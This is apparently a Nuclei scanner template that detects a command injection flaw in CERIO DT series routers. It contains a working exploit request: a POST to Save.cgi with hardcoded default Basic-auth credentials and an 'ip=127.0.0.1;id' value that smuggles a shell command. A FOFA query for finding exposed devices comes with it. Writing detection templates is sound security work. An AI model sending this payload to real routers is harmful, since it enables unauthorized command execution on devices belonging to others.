id: cerio-dt-rce

info:
  name: CERIO-DT Interface - Command Execution
  author: pussycat0x
  severity: critical
  description: |
    CERIO DT series routers have an operation command injection vulnerability in specific versions. An attacker could exploit this vulnerability to execute commands.
  reference:
    - https://github.com/20142995/sectool
    - https://github.com/tanjiti/sec_profile
    - https://github.com/wy876/POC/blob/main/D-Link_DAR-8000%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E(CVE-2023-4542).md
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="DT-100G-N" || title="DT-300N" || title="DT-100G" || title="AMR-3204G" || title="WMR-200N"
  tags: cerio,rce

http:
  - raw:
      - |
        POST /cgi-bin/Save.cgi?cgi=PING HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic b3BlcmF0b3I6MTIzNA==
        Content-Type: application/x-www-form-urlencoded

        pid=2061&ip=127.0.0.1;id&times=1

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022035c6d7a5db55e0a50f3b2a657b252ed94b941ab1ebd00f76655b6ceca8885b1a022100c782fa40433e612aef733b939376a96379b7ca02ae27a641d38cd54ce18dbc4c:922c64590222798bb761d5b6d8e72950